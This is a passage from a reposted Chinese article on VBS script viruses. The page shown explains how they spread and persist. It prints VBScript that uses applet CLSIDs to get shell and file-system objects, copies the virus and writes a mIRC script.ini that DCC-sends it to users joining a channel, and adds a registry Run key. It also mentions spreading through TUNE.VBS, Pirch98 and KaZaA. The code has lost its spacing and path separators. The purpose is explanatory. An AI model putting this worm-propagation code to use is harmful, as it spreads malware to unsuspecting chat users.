怎么删除vbs病毒_vbs病毒_u盘vbs病毒杀不干净(4)

SetApple0bject=document.applets("KJ_guest")

Apple0bject.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}")

Apple0bject.createInstance()'创建一个实例

SetWsShellApple0bject.Get0bject()

Apple0bject.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}")

Apple0bject.createInstance()'创建一个实例

SetFSO=Apple0bject.Get0bject()

对于其他类型文件，这里不再一一分析。

4）通过IRC聊天通道传播

病毒通过IRC传播一般来说采用以下代码（以MIRC为例）

Dimmirc

setfso=CreateObject("Scripting.FileSystemObject")

setmirc=fso.CreateTextFile("C:mircscript.ini")'创建文件script.ini

fso.CopyFileWscript.ScriptFullName,"C:mircattachment.vbs",True'将病毒文件备份到attachment.vbs

mirc.WriteLine"[script]"

mirc.WriteLine"n0=on1:join:*.*:{if($nick!=$me){halt}/dccsend$nickC:mircattachment.vbs}"

'利用命令/ddcsend$nickattachment.vbs给通道中的其他用户传送病毒文件

mirc.Close

以上代码用来往Script.ini文件中写入一行代码，实际中还会写入很多其他代码。Script.ini中存放着用来控制IRC会话的命令，这个文件里面的命令是可以自动执行的。譬如，“歌虫”病毒TUNE.VBS就会修改c:mircscript.ini和c:mircmirc.ini，使每当IRC用户使用被感染的通道时都会收到一份经由DDC发送的TUNE.VBS。同样，如果Pirch98已安装在目标计算机的c:pirch98目录下，病毒就会修改c:pirch98events.ini和c:pirch98pirch98.ini，使每当IRC用户使用被感染的通道时都会收到一份经由DDC发送的TUNE.VBS。

另外病毒也可以通过现在广泛流行的KaZaA进行传播。病毒将病毒文件拷贝到KaZaA的默认共享目录中，这样，当其他用户访问这台机器时，就有可能下载该病毒文件并执行。这种传播方法可能会随着KaZaA这种点对点共享工具的流行而发生作用。

还有一些其他的传播方法，我们这里不再一一列举。

3．VBS脚本病毒如何获得控制权

如何获取控制权？这一个是一个比较有趣的话题，而VBS脚本病毒似乎将这个话题发挥的淋漓尽致。笔者在这里列出几种典型的方法：

1）修改注册表项

windows在启动的时候，会自动加载HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun项下的各键值所执向的程序。脚本病毒可以在此项下加入一个键值指向病毒程序，这样就可以保证每次机器启动的时候拿到控制权。vbs修改贮册表的方法比较简单，直接调用下面语句即可。

wsh.RegWrite(strName,anyvalue[,strType])

2）通过映射文件执行方式

本文来自电脑杂谈，转载请注明本文网址：
http://www.pc-fly.com/a/jisuanjixue/article-26627-4.html